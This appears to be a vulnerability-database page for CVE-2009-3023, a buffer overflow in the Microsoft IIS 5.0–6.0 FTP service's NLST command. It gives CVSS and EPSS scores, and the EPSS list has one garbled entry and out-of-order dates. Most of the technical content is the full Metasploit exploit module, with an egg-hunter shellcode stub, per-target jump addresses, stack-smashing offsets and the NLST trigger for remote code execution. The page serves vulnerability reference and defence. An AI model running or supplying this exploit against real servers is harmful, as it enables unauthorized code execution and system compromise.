CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 6.0 allows remote authenticated users to execute arbitrary code via a crafted NLST (NAME LIST) command that uses wildcards, leading to memory corruption, aka "IIS FTP Service RCE and DoS Vulnerability."
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9
AV:N/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
69.67%
–
–
2022-07-17
–
–
58.43%
–
–
2022-07-24
–
–
69.67%
–
–
2023-03-12
–
–
–
97.41%
–
2023-04-30
–
–
–
97.44%
–
2023-06-11
–
–
–
97.43%
–
2023-09-03
–
–
–
97.39%
–
2023-10-22
–
–
–
97.42%
–
2023-11-12
–
–
–
97.36%
–
2023-12-10
–
–
–
97.29%
–
2024-01-21
–
–
–
97.24%
–
2024-03-03
–
–
–
97.08%
–
2024-04-14
–
–
–
96.97%
–
2024-06-02
–
–
–
96.91%
–
2024-06-30
–
–
–
96.96%
–
2024-08-11
–
–
–
97.08%
–
2024-10-20
–
–
–
97.18%
–
2024-11-24
–
–
–
97.1%
–
2024-12-22
–
–
–
97.01%
–
2024-12-29
–
–
–
97.06%
–
2025-03-16
–
–
–
97.01%
–
2025-01-19
–
–
–
97.06%
–
2025-03-18
–
–
–
–
77.69%
2025-03-30
–
–
–
–
78%
2025-03-30
–
–
–
–
78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ms09_053_ftpd_nlst.rb 11003 2010-11-12 06:19:49Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS FTP Server NLST Response Overflow',
'Description' => %q{
This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
service. The flaw is triggered when a special NLST argument is passed
while the session has changed into a long directory path. For this exploit
to work, the FTP server must be configured to allow write access to the
file system (either anonymously or in conjunction with a real account)
},
'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11003 $',
'References' =>
[
['URL', 'http://milw0rm.com/exploits/9541'],
['CVE', '2009-3023'],
['OSVDB', '57589'],
['BID', '36189'],
['MSB', 'MS09-053'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 490,
'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
# This is for the stored payload, the real BadChar list for file paths is:
# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
'StackAdjustment' => -3500,
},
'Platform' => [ 'win' ],
'Targets' =>
[
[
'Windows 2000 SP4 English/Italian (IIS 5.0)',
{
'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
},
],
[
'Windows 2000 SP3 English (IIS 5.0)',
{
'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
},
],
[
# target from TomokiSanaki
'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
{
'Ret' => 0x774fa593, # jmp esp in ?? (Japanese)
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
},
],
],
'DisclosureDate' => 'Aug 31 2009',
'DefaultTarget' => 0))
register_options([Opt::RPORT(21),], self.class)
end
def exploit
connect_login
based = rand_text_alpha_upper(10)
res = send_cmd( ['MKD', based ], true )
print_status(res.strip)
if (res !~ /directory created/)
print_error("The root directory of the FTP server is not writeable")
disconnect
return
end
res = send_cmd( ['CWD', based ], true )
print_status(res.strip)
egg = rand_text_alpha_upper(4)
hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"
# This egg hunter is necessary because of the huge set of restricted characters for directory names
# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
# to locate the real shellcode. The only change from the original hunter was to randomize the
# prefix used.
# Store our real shellcode on the stack
1.upto(5) do
res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )
end
# Create the directory path that will be used in the overflow
pre = rand_text_alpha_upper(3) # esp+0x28 points here
pst = rand_text_alpha_upper(210) # limited by max path
pst[ 0, hun.length] = hun # egg hunter
pst[ 90, 4] = [target['Patch']].pack('V') # patch smashed pointers
pst[ 94, 4] = [target['Patch']].pack('V') # patch smashed pointers
pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers
pst[158, 4] = [target.ret].pack("V") # return
pst[182, 5] = "\xe9" + [-410].pack("V") # jmp back
# Escape each 0xff with another 0xff for FTP
pst = pst.gsub("\xff", "\xff\xff")
print_status("Creating long directory...")
res = send_cmd( ['MKD', pre+pst ], true )
print_status(res.strip)
srv = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'SSL' => false,
'Context' => {
'Msf' => framework,
'MsfExploit' => self,
}
)
add_socket(srv)
begin
thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }
prt = srv.getsockname[2]
prt1 = prt / 256
prt2 = prt % 256
addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"
res = send_cmd( ['PORT', addr ], true )
print_status(res.strip)
print_status("Trying target #{target.name}...")
res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )
print_status(res.strip) if res
select(nil,nil,nil,2)
handler
disconnect
ensure
thr.kill
srv.close
end
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_information_server >> Version From (including) 5.0 To (including) 6.0